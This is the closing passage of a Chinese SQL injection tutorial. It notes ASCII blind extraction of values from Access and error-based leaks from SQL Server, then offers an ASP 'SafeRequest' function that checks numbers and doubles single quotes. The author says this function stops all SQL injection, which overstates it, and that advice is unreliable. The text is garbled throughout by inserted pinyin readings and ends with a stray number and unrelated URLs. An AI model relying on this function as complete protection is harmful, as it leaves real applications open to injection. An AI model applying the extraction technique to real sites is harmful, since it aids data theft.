5. 猜解Access時(shí)只能用Ascii逐字解碼法，SQLServer也可以用這種方法，只需要兩者之間的區(qū)別即可，但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來，那效率和準(zhǔn)確率會(huì)有極大的提高。

防 范 方 法

ＳＱＬ注入漏洞可謂是“千里之堤，潰于蟻穴”，這種漏洞在網(wǎng)上極為普遍，通常是由于程序員對(duì)注入不了解，或者程序過濾不嚴(yán)格，或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里，我給大家一個(gè)函數(shù)，代替ASP中的Request函數(shù)，可以對(duì)一切的SQL注入Say NO，函數(shù)如下：

function SafeRequest(ParaName,ParaType)
'--- 傳入?yún)?shù) ---
'ParaName:參數(shù)名稱-字符型
'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字，0表示以上參數(shù)為字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數(shù)" & ParaName & "必須為數(shù)字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到這里就結(jié)束了，不管你是安全人員、技術(shù)愛好者還是程序員，我都希望本文能對(duì)你有所幫助。
43828348

http://www.wsmmz.net

http://www.sooweb.net/Html/Soft/82.html

http://www.hnwuyun.com/jc/

http://club.cat898.com/newbbs/printpage.asp?BoardID=18&ID=760319

http://lsdw.go1.icpcn.com/pstg/6.htm

http://font.flash8.net/font/list.aspx?page=3&c_id=383&s_id=395